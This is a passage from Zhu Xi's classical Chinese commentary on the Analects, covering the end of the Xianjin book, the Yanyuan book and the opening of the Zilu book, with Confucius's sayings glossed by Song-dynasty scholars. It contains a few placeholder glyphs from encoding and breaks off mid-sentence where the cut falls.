鯉、孔子之子伯魚也、先孔子卒。言鯉之才雖不及顏淵、然己與顏路以父視之、則皆子也。孔子時已致仕、尚從大夫之列、言後、謙辭。胡氏曰孔子遇舊館人之喪、嘗脫驂以賻之矣。今乃不許顏路之請、何邪。葬可以無槨、驂可以脫而復求、大夫不可以徒行、命車不可以與人而鬻諸市也。且為所識窮乏者得我、而勉強以副其意、豈誠心與直道哉。或者以為君子行禮、視吾之有無而已。夫君子之用財、視義之可否豈獨視有無而已哉。\n顏淵死。子曰噫天喪予天喪予喪、去聲。噫、傷痛聲。悼道無傳、若天喪己也。\n顏淵死、子哭之慟。從者曰子慟矣。從、去聲。慟、哀過也。曰有慟乎。哀傷之至、不自知也。非夫人之為慟而誰為夫、音扶。為、去聲。夫人、謂顏淵。言其死可惜、哭之宜慟、非他人之比也。胡氏曰痛惜之至、施當其可、皆情性之正也。\n顏淵死、門人欲厚葬之、子曰不可。喪具稱家之有無、貧而厚葬、不循理也。故夫子止之。門人厚葬之。蓋顏路聽之。子曰回也視予猶父也、予不得視猶子也。非我也、夫二三子也。歎不得如葬鯉之得宜、以責門人也。\n季路問事鬼神。子曰未能事人、焉能事鬼。敢問死。曰未知生、焉知死。焉、於虔反。問事鬼神、蓋求所以奉祭祀之意。而死者人之所必有、不可不知、皆切問也。然非誠敬足以事人、則必不能事神。非原始而知所以生、則必不能反終而知所以死。蓋幽明始終、初無二理、但學之有序、不可躐等、故夫子告之如此。程子曰晝夜者、死生之道也。知生之道、則知死之道。盡事人之道、則盡事鬼之道。死生人鬼、一而二、二而一者也。或言夫子不告子路、不知此乃所以深告之也。\n閔子侍側、誾誾如也。子路、行行如也。冉有、子貢、侃侃如也。子樂。誾、侃、音義見前篇。行、胡浪反。樂、音洛。行行、剛強之貌。子樂者、樂得英材而教育之。若由也、不得其死然。尹氏曰子路剛強、有不得其死之理、故因以戒之。其後子路卒死於衛孔悝之難。洪氏曰漢書引此句、上有曰字。或云上文樂字、即曰字之誤。\n魯人為長府。長府、藏名。藏貨財曰府。為、蓋改作之。閔子騫曰仍舊貫、如之何。何必改作。仍、因也。貫、事也。王氏曰改作、勞民傷財。在於得已、則不如仍舊貫之善。子曰夫人不言、言必有中。夫、音扶。中、去聲。言不妄發、發必當理、惟有德者能之。\n子曰由之瑟奚為於丘之門。程子曰言其聲之不和、與己不同也。家語云子路鼓瑟、有北鄙殺伐之聲。蓋其氣質剛勇、而不足於中和、故其發於聲者如此。門人不敬子路。子曰由也升堂矣、未入於室也。門人以夫子之言、遂不敬子路、故夫子釋之。升堂入室、喻入道之次第。言子路之學、已造乎正大高明之域、特未深入精微之奧耳、未可以一事之失而遽忽之也。\n子貢問師與商也孰賢。子曰師也過、商也不及。子張才高意廣、而好為苟難、故常過中。子夏篤信謹守、而規模狹隘、故常不及。曰然則師愈與。與、平聲。愈、猶勝也。子曰\n過猶不及。道以中庸為至。賢知之過、雖若勝於愚不肖之不及、然其失中則一也。尹氏曰中庸之為德也、其至矣乎夫過與不及、均也。差之毫釐、繆以千里。故聖人之教、抑其過、引其不及、歸於中道而已。\n季氏富於周公、而求也為之聚斂而附益之。為、去聲。周公以王室至親、有大功、位冢宰、其富宜矣。季氏以諸侯之卿、而富過之、非攘奪其君、刻剝其民、何以得此。冉有為季氏宰、又為之急賦稅以益其富。子曰非吾徒也。小子鳴鼓而攻之、可也。非吾徒、絕之也。小子鳴鼓而攻之、使門人聲其罪以責之也。聖人之惡黨惡而害民也如此。然師嚴而友親、故己絕之、而猶使門人正之、又見其愛人之無已也。范氏曰冉有以政事之才、施於季氏、故為不善至於如此。由其心術不明、不能反求諸身、而以仕為急故也。\n柴也愚、柴、孔子弟子、姓高、字子羔。愚者、知不足而厚有餘。家語記其足不履影、啟蟄不殺、方長不折。執親之喪、泣血三年、未嘗見齒。避難而行、不徑不竇。可以見其為人矣。參也魯、魯、鈍也。程子曰參也竟以魯得之。又曰曾子之學、誠篤而已。聖門學者、聰明才辯、不為不多、而卒傳其道、乃質魯之人爾。故學以誠實為貴也。尹氏曰曾子之才魯、故其學也確、所以能深造乎道也。師也辟、辟、婢亦反。辟、便辟也。謂習於容止、少誠實也。由也喭。喭、五旦反。喭、粗俗也。傳稱喭者、謂俗論也。楊氏曰四者性之偏、語之使知自勵也。吳氏曰此章之首、脫『子曰』二字。或疑下章子曰、當在此章之首、而通為一章。\n子曰回也其庶乎、屢空。庶、近也、言近道也。屢空、數至空匱也。不以貧窶動心而求富、故屢至於空匱也。言其近道、又能安貧也。賜不受命、而貨殖焉、億則屢中。中、去聲。命、謂天命。貨殖、貨財生殖也。億、意度也。言子貢不如顏子之安貧樂道、然其才識之明、亦能料事而多中也。程子曰子貢之貨殖、非若後人之豐財、但此心未忘耳。然此亦子貢少時事、至聞性與天道、則不為此矣。范氏曰屢空者、簞食瓢飲屢絕而不改其樂也。天下之物、豈有可動其中者哉。貧富在天、而子貢以貨殖為心、則是不能安受天命矣。其言而多中者億而已、非窮理樂天者也。夫子嘗曰『賜不幸言而中、是使賜多言也』、聖人之不貴言也如是。\n子張問善人之道。子曰不踐跡、亦不入於室。善人、質美而未學者也。程子曰踐跡、如言循途守轍。善人雖不必踐舊跡而自不為惡、然亦不能入聖人之室也。張子曰善人欲仁而未志於學者也。欲仁、故雖不踐成法、亦不蹈於惡、有諸己也。由不學、故無自而入聖人之室也。\n子曰論篤是與、君子者乎。色莊者乎。與、如字。言但以其言論篤實而與之、則未知其為君子者乎。為色莊者乎。言不可以言貌取人也。\n子路問聞斯行諸。子曰有父兄在、如之何其聞斯行之。冉有問聞斯行諸。子曰聞斯行之。公西華曰由也問聞斯行諸、子曰『有父兄在』。求也問聞斯行諸、子曰『聞斯行之』。赤也惑、敢問。子曰求也退、故進之。由也兼人、故退之。兼人、謂勝人也。張敬夫曰聞義固當勇為、然有父兄在、則有不可得而專者。若不稟命而行、則反傷於義矣。子路有聞、未之能行、唯恐有聞。則於所當為、不患其不能為矣。特患為之之意或過、而於所當稟命者有闕耳。若冉求之資稟失之弱、不患其不稟命也。患其於所當為者逡巡畏縮、而為之不勇耳。聖人一進之、一退之、所以約之於義理之中、而使之無過不及之患也。\n子畏於匡、顏淵後。子曰吾以女為死矣。曰子在、回何敢死。女、音汝。○後、謂相失在後。何敢死、謂不赴鬥而必死也。胡氏曰先王之制、民生於三、事之如一。惟其所在、則致死焉。況顏淵之於孔子、恩義兼盡、又非他人之為師弟子者而已。即夫子不幸而遇難、回必捐生以赴之矣。捐生以赴之、幸而不死、則必上告天子、下告方伯、請討以復讎、不但已也。夫子而在、則回何為而不愛其死、以犯匡人之鋒乎。\n季子然問仲由、冉求可謂大臣與。與、平聲。子然、季氏子弟。自多其家得臣二子、故問之。子曰吾以子為異之問、曾由與求之問。異、非常也。曾、猶乃也。輕二子以抑季然也。所謂大臣者以道事君、不可則止。以道事君者、不從君之欲。不可則止者、必行己之志。今由與求也、可謂具臣矣。具臣、謂備臣數而已。曰然則從之者與。與、平聲。意二子既非大臣、則從季氏之所為而已。子曰弒父與君、亦不從也。言二子雖不足於大臣之道、然君臣之義則聞之熟矣、弒逆大故必不從之。蓋深許二子以死難不可奪之節、而又以陰折季氏不臣之心也。尹氏曰季氏專權僭竊、二子仕其家而不能正也、知其不可而不能止也、可謂具臣矣。是時季氏已有無君之心、故自多其得人。意其可使從己也、故曰弒父與君亦不從也、其庶乎二子可免矣。\n子路使子羔為費宰。子路為季氏宰而舉之也。子曰賊夫人之子。夫、音扶、下同。賊、害也。言子羔質美而未學、遽使治民、適以害之。子路曰有民人焉、有社稷焉。何必讀書、然後為學。言治民事神皆所以為學。子曰是故惡夫佞者。惡、去聲。治民事神、固學者事、然必學之已成、然後可仕以行其學。若初未嘗學、而使之即仕以為學、其不至於慢神而虐民者幾希矣。子路之言、非其本意、但理屈辭窮、而取辨於口以禦人耳。故夫子不斥其非、而特惡其佞也。范氏曰古者學而後入政。未聞以政學者也。蓋道之本在於修身、而後及於治人、其說具於方冊。讀而知之、然後能行。何可以不讀書也。子路乃欲使子羔以政為學、失先後本末之序矣。不知其過而以口給禦人、故夫子惡其佞也。\n子路、曾皙、冉有、公西華侍坐。坐、才臥反。皙、曾參父、名點。子曰以吾一日長乎爾、毋吾以也。長、上聲。言我雖年少長於女、然女勿以我長而難言。蓋誘之盡言以觀其志、而聖人和氣謙德、於此亦可見矣。居則曰『不吾知也』如或知爾、則何以哉。言女平居、則言人不知我。如或有人知女、則女將何以為用也。子路率爾而對曰千乘之國、攝乎大國之間、加之以師旅、因之以饑饉。由也為之、比及三年、可使有勇、且知方也。夫子哂之。乘、去聲。饑、音機。饉、音僅。比、必二反、下同。哂、詩忍反。率爾、輕遽之貌。攝、管束也。二千五百人為師、五百人為旅。因、仍也。穀不熟曰饑、菜不熟曰饉。方、向也、謂向義也。民向義、則能親其上、死其長矣。哂、微笑也。求爾何如。對曰方六七十、如五六十、求也為之、比及三年、可使足民。如其禮樂、以俟君子。求、爾何如、孔子問也、下放此。方六七十里、小國也。如、猶或也。五六十里、則又小矣。足、富足也。俟君子、言非己所能。冉有謙退、又以子路見哂、故其辭益遜。赤爾何如。對曰非曰能之、願學焉。宗廟之事、如會同、端章甫、願為小相焉。相、去聲。公西華志於禮樂之事、嫌以君子自居。故將言己志而先為遜辭、言未能而願學也。宗廟之事、謂祭祀。諸侯時見曰會、眾覜曰同。端、玄端服。章甫、禮冠。相、贊君之禮者。言小、亦謙辭。點爾何如。鼓瑟希、鏗爾、舍瑟而作。對曰異乎三子者之撰。子曰何傷乎。亦各言其志也。曰莫春者、春服既成。冠者五六人、童子六七人、浴乎沂、風乎舞雩、詠而歸。夫子喟然歎曰。吾與點也鏗、苦耕反。舍、上聲。撰、士免反。莫、冠、並去聲。沂、魚依反。雩音于。四子侍坐、以齒為序、則點當次對。以方鼓瑟、故孔子先問求、赤而後及點也。希、間歇也。作、起也。撰、具也。春服、單袷之衣。浴、盥濯也、今上巳祓除是也。沂、水名、在魯城南、地志以為有溫泉焉、理或然也。風、乘涼也。舞雩、祭天禱雨之處、有壇墠樹木也。詠、歌也。曾點之學、蓋有以見夫人欲盡處、天理流行、隨處充滿、無少欠闕。故其動靜之際、從容如此。而其言志、則又不過即其所居之位、樂其日用之常、初無舍己為人之意。而其胸次悠然、直與天地萬物上下同流、各得其所之妙、隱然自見於言外。視三子之規規於事為之末者、其氣象不侔矣、故夫子歎息而深許之。而門人記其本末獨加詳焉、蓋亦有以識此矣。三子者出、曾皙後。曾皙曰夫三子者之言何如。子曰亦各言其志也已矣。夫、音扶。曰夫子何哂由也。點以子路之志、乃所優為、而夫子哂之、故請其說。曰為國以禮、其言不讓、是故哂之。夫子蓋許其能、特哂其不遜。唯求則非邦也與。安見方六七十如五六十而非邦也者。與、平聲、下同。曾點以冉求亦欲為國而不見哂、故微問之。而夫子之答無貶辭、蓋亦許之。唯赤則非邦也與。宗廟會同、非諸侯而何。赤也為之小、孰能為之大。此亦曾皙問而夫子答也。孰能為之大、言無能出其右者、亦許之之辭。程子曰古之學者、優柔厭飫、有先後之序。如子路、冉有、公西赤言志如此、夫子許之。亦以此自是實事。後之學者好高、如人游心千里之外、然自身卻只在此。又曰孔子與點、蓋與聖人之志同、便是堯、舜氣象也。誠異三子者之撰、特行有不掩焉耳、此所謂狂也。子路等所見者小、子路只為不達為國以禮道理、是以哂之。若達、卻便是這氣象也。又曰三子皆欲得國而治之、故夫子不取。曾點、狂者也、未必能為聖人之事、而能知夫子之志。故曰浴乎沂、風乎舞雩、詠而歸、言樂而得其所也。孔子之志、在於老者安之、朋友信之、少者懷之、使萬物莫不遂其性。曾點知之、故孔子喟然歎曰吾與點也。又曰曾點、漆雕開、已見大意。\n顏淵第十二凡二十四章。\n顏淵問仁。子曰克己復禮為仁。一日克己復禮、天下歸仁焉。為仁由己、而由人乎哉。仁者、本心之全德。克、勝也。己、謂身之私欲也。復、反也。禮者、天理之節文也。為仁者、所以全其心之德也。蓋心之全德、莫非天理、而亦不能不壞於人欲。故為仁者必有以勝私欲而復於禮、則事皆天理、而本心之德復全於我矣。歸、猶與也。又言一日克己復禮、則天下之人皆與其仁、極言其效之甚速而至大也。又言為仁由己而非他人所能預、又見其機之在我而無難也。日日克之、不以為難、則私欲淨盡、天理流行、而仁不可勝用矣。程子曰非禮處便是私意。既是私意、如何得仁。須是克盡己私、皆歸於禮、方始是仁。又曰克己復禮、則事事皆仁、故曰天下歸仁。謝氏曰克己須從性偏難克處克將去。顏淵曰請問其目。子曰非禮勿視、非禮勿聽、非禮勿言、非禮勿動。顏淵曰回雖不敏、請事斯語矣。目、條件也。顏淵聞夫子之言、則於天理人欲之際、已判然矣、故不復有所疑問、而直請其條目也。非禮者、己之私也。勿者、禁止之辭。是人心之所以為主、而勝私復禮之機也。私勝、則動容周旋無不中禮、而日用之間、莫非天理之流行矣。事、如事事之事。請事斯語、顏子默識其理、又自知其力有以勝之、故直以為己任而不疑也。程子曰顏淵問克己復禮之目、子曰、『非禮勿視、非禮勿聽、非禮勿言、非禮勿動』、四者身之用也。由乎中而應乎外、制於外所以養其中也。顏淵事斯語、所以進於聖人。後之學聖人者、宜服膺而勿失也、因箴以自警。其視箴曰『心兮本虛、應物無跡。操之有要、視為之則。蔽交於前、其中則遷。制之於外、以安其內。克己復禮、久而誠矣。』其聽箴曰『人有秉彝、本乎天性。知誘物化、遂亡其正。卓彼先覺、知止有定。閑邪存誠、非禮勿聽。』其言箴曰『人心之動、因言以宣。發禁躁妄、內斯靜專。矧是樞機、興戎出好、吉凶榮辱、惟其所召。傷易則誕、傷煩則支、己肆物忤、出悖來違。非法不道、欽哉訓辭』其動箴曰『哲人知幾、誠之於思。志士勵行、守之於為。順理則裕、從欲惟危。造次克念、戰兢自持。習與性成、聖賢同歸。』愚按此章問答、乃傳授心法切要之言。非至明不能察其幾、非至健不能致其決。故惟顏子得聞之、而凡學者亦不可以不勉也。程子之箴、發明親切、學者尤宜深玩。\n仲弓問仁。子曰出門如見大賓、使民如承大祭。己所不欲、勿施於人。在邦無怨、在家無怨。仲弓曰雍雖不敏、請事斯語矣。敬以持己、恕以及物、則私意無所容而心德全矣。內外無怨、亦以其效言之、使以自考也。程子曰孔子言仁、只說出門如見大賓、使民如承大祭。看其氣象、便須心廣體胖、動容周旋中禮。惟謹獨、便是守之之法。或問出門使民之時、如此可也。未出門使民之時、如之何。曰此儼若思時也、有諸中而後見於外。觀其出門使民之時、其敬如此、則前乎此者敬可知矣。非因出門使民、然後有此敬也。愚按克己復禮、乾道也。主敬行恕、坤道也。顏、冉之學、其高下淺深、於此可見。然學者誠能從事於敬恕之間而有得焉、亦將無己之可克矣。\n司馬牛問仁。司馬牛、孔子弟子、名犁、向魋之弟。子曰仁者其言也訒。訒、音刃。訒、忍也、難也。仁者心存而不放、故其言若有所忍而不易發、蓋其德之一端也。夫子以牛多言而躁、故告之以此。使其於此而謹之、則所以為仁之方、不外是矣。曰其言也訒、斯謂之仁已乎。子曰為之難、言之得無訒乎。牛意仁道至大、不但如夫子之所言、故夫子又告之以此。蓋心常存、故事不苟、事不苟、故其言自有不得而易者、非強閉之而不出也。楊氏曰觀此及下章再問之語、牛之易其言可知。程子曰雖為司馬牛多言故及此、然聖人之言、亦止此為是。愚謂牛之為人如此、若不告之以其病之所切、而泛以為仁之大概語之、則以彼之躁、必不能深思以去其病、而終無自以入德矣。故其告之如此。蓋聖人之言、雖有高下大小之不同、然其切於學者之身、而皆為入德之要、則又初不異也。讀者其致思焉。\n司馬牛問君子。子曰君子不憂不懼。向魋作亂、牛常憂懼。故夫子告之以此曰不憂不懼、斯謂之君子已乎。子曰內省不疚、夫何憂何懼。夫、音扶。牛之再問、猶前章之意、故復告之以此。疚、病也。言由其平日所為無愧於心、故能內省不疚、而自無憂懼、未可遽以為易而忽之也。晁氏曰不憂不懼、由乎德全而無疵。故無入而不自得、非實有憂懼而強排遣之也。\n司馬牛憂曰人皆有兄弟、我獨亡。牛有兄弟而云然者、憂其為亂而將死也。子夏曰商聞之矣蓋聞之夫子。死生有命、富貴在天。命稟於有生之初、非今所能移。天莫之為而為、非我所能必、但當順受而已。君子敬而無失、與人恭而有禮。四海之內、皆兄弟也。君子何患乎無兄弟也。既安於命、又當修其在己者。故又言苟能持己以敬而不間斷、接人以恭而有節文、則天下之人皆愛敬之、如兄弟矣。蓋子夏欲以寬牛之憂、故為是不得已之辭、讀者不以辭害意可也。胡氏曰子夏四海皆兄弟之言、特以廣司馬牛之意、意圓而語滯者也、惟聖人則無此病矣。且子夏知此而以哭子喪明、則以蔽於愛而昧於理、是以不能踐其言爾。\n子張問明。子曰浸潤之譖、膚受之愬、不行焉。可謂明也已矣。浸潤之譖膚受之愬不行焉、可謂遠也已矣。譖、莊蔭反。愬、蘇路反。○浸潤、如水之浸灌滋潤、漸漬而不驟也。譖、毀人之行也。膚受、謂肌膚所受、利害切身。如易所謂剝床以膚、切近災者也。愬、愬己之冤也。毀人者漸漬而不驟、則聽者不覺其入、而信之深矣。愬冤者急迫而切身、則聽者不及致詳、而發之暴矣。二者難察而能察之、則可見其心之明、而不蔽於近矣。此亦必因子張之失而告之、故其辭繁而不殺、以致丁寧之意云。楊氏曰驟而語之、與利害不切於身者、不行焉、有不待明者能之也。故浸潤之譖、膚受之愬不行、然後謂之明、而又謂之遠。遠則明之至也。書曰『視遠惟明。』\n子貢問政。子曰足食。足兵。民信之矣。言倉廩實而武備修、然後教化行、而民信於我、不離叛也。子貢曰必不得已而去、於斯三者何先。曰去兵。去、上聲、下同。言食足而信孚、則無兵而守固矣。子貢曰必不得已而去、於斯二者何先。曰去食。自古皆有死、民無信不立。民無食必死、然死者人之所必不免。無信則雖生而無以自立、不若死之為安。故寧死而不失信於民、使民亦寧死而不失信於我也。程子曰孔門弟子善問、直窮到底、如此章者。非子貢不能問、非聖人不能答也。愚謂以人情而言、則兵食足而後吾之信可以孚於民。以民德而言、則信本人之所固有、非兵食所得而先也。是以為政者、當身率其民而以死守之、不以危急而可棄也。\n棘子成曰君子質而已矣、何以文為。棘子成、衛大夫。疾時人文勝、故為此言。子貢曰惜乎夫子之說、君子也。駟不及舌。言子成之言、乃君子之意。然言出於舌、則駟馬不能追之、又惜其失言也。文猶質也、質猶文也。虎豹之梈猶犬羊之梈。梈、其郭反。梈、皮去毛者也。言文質等耳、不可相無。若必盡去其文而獨存其質、則君子小人無以辨矣。夫棘子成矯當時之弊、固失之過。而子貢矯子成之弊、又無本末輕重之差、胥失之矣。\n哀公問於有若曰年饑、用不足、如之何。稱有若者、君臣之辭。用、謂國用。公意蓋欲加賦以足用也。有若對曰盍徹乎。徹、通也、均也。周制一夫受田百畝、而與同溝共井之人通力合作、計畝均收。大率民得其九、公取其一、故謂之徹。魯自宣公稅畝、又逐畝什取其一、則為什而取二矣。故有若請但專行徹法、欲公節用以厚民也。曰二、吾猶不足、如之何其徹也。二、即所謂什二也。公以有若不喻其旨、故言此以示加賦之意。對曰百姓足、君孰與不足。百姓不足、君孰與足。民富、則君不至獨貧。民貧、則君不能獨富。有若深言君民一體之意、以止公之厚斂、為人上者所宜深念也。楊氏曰仁政必自經界始。經界正、而後井地均、穀祿平、而軍國之需皆量是以為出焉。故一徹而百度舉矣、上下寧憂不足乎。以二猶不足而教之徹、疑若迂矣。然什一、天下之中正。多則桀、寡則貉、不可改也。後世不究其本而惟末之圖、故征斂無藝、費出無經、而上下困矣。又惡知盍徹之當務而不為迂乎。\n子張問崇德、辨惑。子曰主忠信、徙義、崇德也。主忠信、則本立、徙義、則日新。愛之欲其生、惡之欲其死。既欲其生、又欲其死、是惑也。惡、去聲。愛惡、人之常情也。然人之生死有命、非可得而欲也。以愛惡而欲其生死、則惑矣。既欲其生、又欲其死、則惑之甚也。『誠不以富、亦祗以異。』此詩小雅我行其野之辭也。舊說夫子引之、以明欲其生死者不能使之生死。如此詩所言、不足以致富而適足以取異也。程子曰此錯簡、當在第十六篇齊景公有馬千駟之上。因此下文亦有齊景公字而誤也。楊氏曰堂堂乎張也、難與並為仁矣。則非誠善補過不蔽於私者、故告之如此。\n齊景公問政於孔子。齊景公、名杵臼。魯昭公末年、孔子適齊。孔子對曰君君、臣臣、父父、子子。此人道之大經、政事之根本也。是時景公失政、而大夫陳氏厚施於國。景公又多內嬖、而不立太子。其君臣父子之間、皆失其道、故夫子告之以此。公曰善哉信如君不君、臣不臣、父不父、子不子、雖有粟、吾得而食諸。景公善孔子之言而不能用、其後果以繼嗣不定、啟陳氏弒君篡國之禍。楊氏曰君之所以君、臣之所以臣、父之所以父、子之所以子、是必有道矣。景公知善夫子之言、而不知反求其所以然、蓋悅而不繹者。齊之所以卒於亂也。\n子曰片言可以折獄者、其由也與。折、之舌反。與、平聲。片言、半言。折、斷也。子路忠信明決、故言出而人信服之、不待其辭之畢也。子路無●諾。●、留也、猶●怨之●。急於踐言、不留其諾也。記者因夫子之言而記此、以見子路之所以取信於人者、由其養之有素也。尹氏曰小邾射以句繹奔魯、曰『使季路要我、吾無盟矣。』千乘之國、不信其盟、而信子路之一言、其見信於人可知矣。一言而折獄者、信在言前、人自信之故也。不留諾、所以全其信也。\n子曰聽訟、吾猶人也、必也使無訟乎范氏曰聽訟者、治其末、塞其流也。正其本、清其源、則無訟矣。楊氏曰子路片言可以折獄、而不知以禮遜為國、則未能使民無訟者也。故又記孔子之言、以見聖人不以聽訟為難、而以使民無訟為貴。\n子張問政。子曰居之無倦、行之以忠。居、謂存諸心。無倦、則始終如一。行、謂發於事。以忠、則表裏如一。程子曰子張少仁。無誠心愛民、則必倦而不盡心、故告之以此。\n子曰博學於文、約之以禮、亦可以弗畔矣夫重出。\n子曰君子成人之美、不成人之惡。小人反是。成者、誘掖獎勸以成其事也。君子小人、所存既有厚薄之殊、而其所好又有善惡之異。故其用心不同如此。\n季康子問政於孔子。孔子對曰政者、正也。子帥以正、孰敢不正。范氏曰未有己不正而能正人者。胡氏曰魯自中葉、政由大夫、家臣效尤、據邑背叛、不正甚矣。故孔子以是告之、欲康子以正自克、而改三家之故。惜乎康子之溺於利欲而不能也。\n季康子患盜、問於孔子。孔子對曰苟子之不欲、雖賞之不竊。言子不貪欲、則雖賞民使之為盜、民亦知恥而不竊。胡氏曰季氏竊柄、康子奪嫡、民之為盜、固其所也。盍亦反其本耶。孔子以不欲啟之、其旨深矣。奪嫡事見春秋傳。\n季康子問政於孔子曰如殺無道、以就有道、何如。孔子對曰子為政、焉用殺。子欲善、而民善矣。君子之德風、小人之德草。草上之風、必偃。焉、於虔反。為政者、民所視效、何以殺為。欲善則民善矣。上、一作尚、加也。偃、仆也。尹氏曰殺之為言、豈為人上之語哉。以身教者從、以言教者訟、而況於殺乎。\n子張問士何如斯可謂之達矣。達者、德孚於人而行無不得之謂。子曰何哉、爾所謂達者。子張務外、夫子蓋已知其發問之意。故反詰之、將以發其病而藥之也。子張對曰在邦必聞、在家必聞。言名譽著聞也。子曰是聞也、非達也。聞與達相似而不同、乃誠偽之所以分、學者不可不審也。故夫子既明辨之、下文又詳言之。夫達也者、質直而好義、察言而觀色、慮以下人。在邦必達、在家必達。夫、音扶、下同。好、下、皆去聲。○內主忠信。而所行合宜、審於接物而卑以自牧、皆自修於內、不求人知之事。然德修於己而人信之、則所行自無窒礙矣。夫聞也者、色取仁而行違、居之不疑。在邦必聞、在家必聞。行、去聲。○善其顏色以取於仁、而行實背之、又自以為是而無所忌憚。此不務實而專務求名者、故虛譽雖隆而實德則病矣。程子曰學者須是務實、不要近名。有意近名、大本已失。更學何事。為名而學、則是偽也。今之學者、大抵為名。為名與為利雖清濁不同、然其利心則一也。尹氏曰子張之學、病在乎不務實。故孔子告之、皆篤實之事、充乎內而發乎外者也。當時門人親受聖人之教、而差失有如此者、況後世乎。\n樊遲從遊於舞雩之下、曰敢問崇德、脩慝、辨惑。慝、吐得反。胡氏曰慝之字從心從匿、蓋惡之匿於心者。脩者、治而去之。子曰善哉問善其切於為己。先事後得、非崇德與。攻其惡、無攻人之惡、非脩慝與。一朝之忿、忘其身、以及其親、非惑與。與、平聲。先事後得、猶言先難後獲也。為所當為而不計其功、則德日積而不自知矣。專於治己而不責人、則己之惡無所匿矣。知一朝之忿為甚微、而禍及其親為甚大、則有以辨惑而懲其忿矣。樊遲麤鄙近利、故告之以此、三者皆所以救其失也。范氏曰先事後得、上義而下利也。人惟有利欲之心、故德不崇。惟不自省己過而知人之過、故慝不脩。感物而易動者莫如忿、忘其身以及其親、惑之甚者也。惑之甚者必起於細微、能辨之於早、則不至於大惑矣。故懲忿所以辨惑也。\n樊遲問仁。子曰愛人。問知。子曰知人。上知、去聲、下如字。愛人、仁之施。知人、知之務。樊遲未達。曾氏曰\n遲之意、蓋以愛欲其周、而知有所擇、故疑二者之相悖爾。子曰舉直錯諸枉、能使枉者直。舉直錯枉者、知也。使枉者直、則仁矣。如此、則二者不惟不相悖而反相為用矣。樊遲退、見子夏。曰鄉也吾見於夫子而問知、子曰、『舉直錯諸枉、能使枉者直』、何謂也。鄉、去聲。見、賢遍反。遲以夫子之言、專為知者之事。又未達所以能使枉者直之理。子夏曰富哉言乎歎其所包者廣、不止言知。舜有天下、選於眾、舉皋陶、不仁者遠矣。湯有天下、選於眾、舉伊尹、不仁者遠矣。選、息戀反。陶、音遙。遠、如字。伊尹、湯之相也。不仁者遠、言人皆化而為仁、不見有不仁者、若其遠去爾、所謂使枉者直也。子夏蓋有以知夫子之兼仁知而言矣。○程子曰聖人之語、因人而變化。雖若有淺近者、而其包含無所不盡、觀於此章可見矣。非若他人之言、語近則遺遠、語遠則不知近也。尹氏曰學者之問也、不獨欲聞其說、又必欲知其方。不獨欲知其方、又必欲為其事。如樊遲之問仁知也、夫子告之盡矣。樊遲未達、故又問焉、而猶未知其何以為之也。及退而問諸子夏、然後有以知之。使其未喻、則必將復問矣。既問於師、又辨諸友、當時學者之務實也如是。\n子貢問友。子曰忠告而善道之、不可則止、無自辱焉。告、工毒反。道、去聲。○友所以輔仁、故盡其心以告之、善其說以道之。然以義合者也、故不可則止。若以數而見疏、則自辱矣。\n曾子曰君子以文會友、以友輔仁。講學以會友、則道益明。取善以輔仁、則德日進。\n論語集注卷七\n子路第十三凡三十章。\n子路問政。子曰先之、勞之。勞、如字。蘇氏曰凡民之行、以身先之、則不令而行。凡民之事、以身勞之、則雖勤不怨。請益。曰無倦。無、古本作毋。吳氏曰勇者喜於有為而不能持久、故以此告之。程子曰子路問政、孔子既告之矣。及請益、則曰『無倦』而已。未嘗復有所告、姑使之深思也。\n仲弓為季氏宰、問政。子曰先有司、赦小過、舉賢才。有司、眾職也。宰兼眾職、然事必先之於彼、而後考其成功、則己不勞而事畢舉矣。過、失誤也。大者於事或有所害、不得不懲。小者赦之、則刑不濫而人心悅矣。賢、有德者。才、有能者。舉而用之、則有司皆得其人而政益修矣。曰焉知賢才而舉之。曰舉爾所知。爾所不知、人其舍諸。焉、於虔反。舍、上聲。仲弓慮無以盡知一時之賢才、故孔子告之以此。程子曰人各親其親、然後不獨親其親。仲弓曰『焉知賢才而舉之』、子曰『舉爾所知、爾所不知、人其舍諸』便見仲弓與聖人用心之大小。推此義、則一心可以興邦、一心可以喪邦、只在公私之間爾。范氏曰不先有司、則君行臣職矣。不赦小過、則下無全人矣。不舉賢才、則百職廢矣。失此三者、不可以為季氏宰、況天下乎。\n子路曰衛君待子而為政、子將奚先。衛君、謂出公輒也。是時魯哀公之十年、孔子自楚反乎衛。子曰必也正名乎是時出公不父其父而禰其祖、名實紊矣、故孔子以正名為先。謝氏曰正名雖為衛君而言、然為政之道、皆當以此為先。子路曰有是哉、子之迂也奚其正。迂、謂遠於事情、言非今日之急務也。子曰野哉由也君子於其所不知、蓋闕如也。野、謂鄙俗。責其不能闕疑、而率爾妄對也。名不正、則言不順。言不順、則事不成。楊氏曰名不當其實、則言不順。言不順、則無以考實而事不成。事不成、則禮樂不興。禮樂不興、則刑罰不中。刑罰不中、則民無所措手足。中、去聲。范氏曰事得其序之謂禮、物得其和之謂樂。事不成則無序而不和、故禮樂不興。禮樂不興、則施之政事皆失其道、故刑罰不中。故君子名之必可言也、言之必可行也。君子於其言、無所苟而已矣。程子曰名實相須。一事苟、則其餘皆苟矣。胡氏曰衛世子蒯聵恥其母南子之淫亂、欲殺之不果而出奔。靈公欲立公子郢、郢辭。公卒、夫人立之、又辭。乃立蒯聵之子輒、以拒蒯聵。夫蒯聵欲殺母、得罪於父、而輒據國以拒父、皆無父之人也、其不可有國也明矣。夫子為政、而以正名為先。必將具其事之本末、告諸天王、請于方伯、命公子郢而立之。則人倫正、天理得、名正言順而事成矣。夫子告之之詳如此、而子路終不喻也。故事輒不去、卒死其難。徒知食焉不避其難之為義、而不知食輒之食為非義也。\n樊遲請學稼、子曰吾不如老農。請學為圃。曰吾不如老圃。種五穀曰稼、種蔬菜曰圃。樊遲出。子曰小人哉、樊須也小人、謂細民、孟子所謂小人之事者也。上好禮、則民莫敢不敬。上好義、則民莫敢不服。上好信、則民莫敢不用情。夫如是、則四方之民襁負其子而至矣、焉用稼。好、去聲。夫、音扶。襁、居丈反。焉、於虔反。禮、義、信、大人之事也。好義、則事合宜。情、誠實也。敬服用情、蓋各以其類而應也。襁、織縷為之、以約小兒於背者。楊氏曰樊須遊聖人之門、而問稼圃、志則陋矣、辭而闢之可也。待其出而後言其非、何也。蓋於其問也、自謂農圃之不如、則拒之者至矣。須之學疑不及此、而不能問。不能以三隅反矣、故不復。及其既出、則懼其終不喻也、求老農老圃而學焉、則其失愈遠矣。故復言之、使知前所言者意有在也。\n子曰誦詩三百、授之以政、不達。使於四方、不能專對。雖多、亦奚以為。使、去聲。專、獨也。詩本人情、該物理、可以驗風俗之盛衰、見政治之得失。其言溫厚和平、長於風諭。故誦之者